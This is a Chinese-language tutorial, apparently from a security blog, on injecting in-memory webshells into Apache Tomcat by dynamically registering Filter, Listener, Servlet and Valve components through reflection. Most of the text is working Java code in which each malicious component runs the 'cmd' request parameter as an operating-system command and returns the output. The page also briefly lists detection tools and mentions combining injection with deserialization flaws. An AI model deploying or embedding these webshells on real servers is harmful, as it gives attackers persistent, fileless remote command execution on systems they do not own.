Tomcat内存马——Filter/servlet/Listener/valve
字数 1146 2025-08-25 22:58:20
Tomcat内存马技术详解
一、内存马概述
内存马是一种驻留在服务器内存中的恶意程序,主要分为以下几类:
-
servlet-api类
- filter型
- servlet型
- listener型
-
spring类
- 拦截器
- controller型
-
Java Instrumentation类
- agent型
二、Filter型内存马
实现原理
请求会经过filter到达servlet,动态创建filter放在最前面,就能实现命令执行。
关键数据结构
- FilterDefs:存放FilterDef的数组,存储过滤器名、过滤器实例、作用url等基本信息
- FilterConfigs:存放filterConfig的数组,主要存放FilterDef和Filter对象等信息
- FilterMaps:存放FilterMap的数组,主要存放FilterName和对应的URLPattern
实现步骤
- 获取StandardContext
// 方法1:通过ServletContext获取
Field appContextField = ApplicationContextFacade.class.getDeclaredField("context");
appContextField.setAccessible(true);
Field standardContextField = ApplicationContext.class.getDeclaredField("context");
standardContextField.setAccessible(true);
ServletContext servletContext = request.getSession().getServletContext();
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
// 方法2:通过Request对象获取
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();
- 创建恶意Filter
Filter filter = new Filter() {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
chain.doFilter(request, response);
}
};
- 封装FilterDef并添加到StandardContext
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("evilFilter");
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
- 创建FilterConfig并添加到FilterConfigs
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
filterConfigs.put("evilFilter", filterConfig);
- 创建FilterMap并添加到FilterMaps
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("evilFilter");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
三、Listener型内存马
实现原理
通过实现ServletRequestListener监听Request请求的创建和销毁。
实现步骤
- 获取StandardContext
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
final Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();
- 创建恶意Listener
ServletRequestListener listener = new ServletRequestListener() {
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
HttpServletResponse resp = request1.getResponse();
if (req.getParameter("cmd") != null) {
try {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String out = s.hasNext()?s.next():"";
resp.getWriter().write(out);
resp.getWriter().flush();
}catch (IOException ioe){
ioe.printStackTrace();
}
}
}
};
- 添加Listener
standardContext.addApplicationEventListener(listener);
四、Servlet型内存马
实现原理
通过动态添加Servlet实现命令执行。
实现步骤
- 获取StandardContext
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
final Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();
- 创建恶意Servlet
HttpServlet servlet = new HttpServlet() {
@Override
protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
}
};
- 创建Wrapper并添加到Context
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("servletTrojan");
wrapper.setLoadOnStartup(1); // 必须>=0才会被加载
wrapper.setServlet(servlet);
wrapper.setServletClass(HttpServlet.class.getName());
standardContext.addChild(wrapper);
- 添加Servlet映射
standardContext.addServletMappingDecoded("/*", "servletTrojan");
五、Valve型内存马
实现原理
Valve是Tomcat中对Container组件进行的扩展,通过实现Valve接口并添加到Pipeline中实现命令执行。
实现步骤
- 获取StandardContext
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
final Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();
- 获取StandardPipeline
Field pipelineField = ContainerBase.class.getDeclaredField("pipeline");
pipelineField.setAccessible(true);
StandardPipeline standardPipeline1 = (StandardPipeline) pipelineField.get(standardContext);
- 创建并添加恶意Valve
ValveBase valveBase = new ValveBase() {
@Override
public void invoke(Request request, Response response) throws ServletException,IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
this.getNext().invoke(request, response); // 继续执行下一个Valve
}
}
};
standardPipeline1.addValve(valveBase);
六、内存马检测工具
- arthas:https://github.com/alibaba/arthas
- copagent:https://github.com/LandGrey/copagent
- java-memshell-scanner:https://github.com/c0ny1/java-memshell-scanner
七、注意事项
- Filter型内存马需要Tomcat 7.x以上版本支持
- Servlet型内存马需要设置LoadOnStartup>=0才会被加载
- 内存马会一直驻留直到Tomcat重启
- 实际环境中可能需要结合反序列化漏洞等进行注入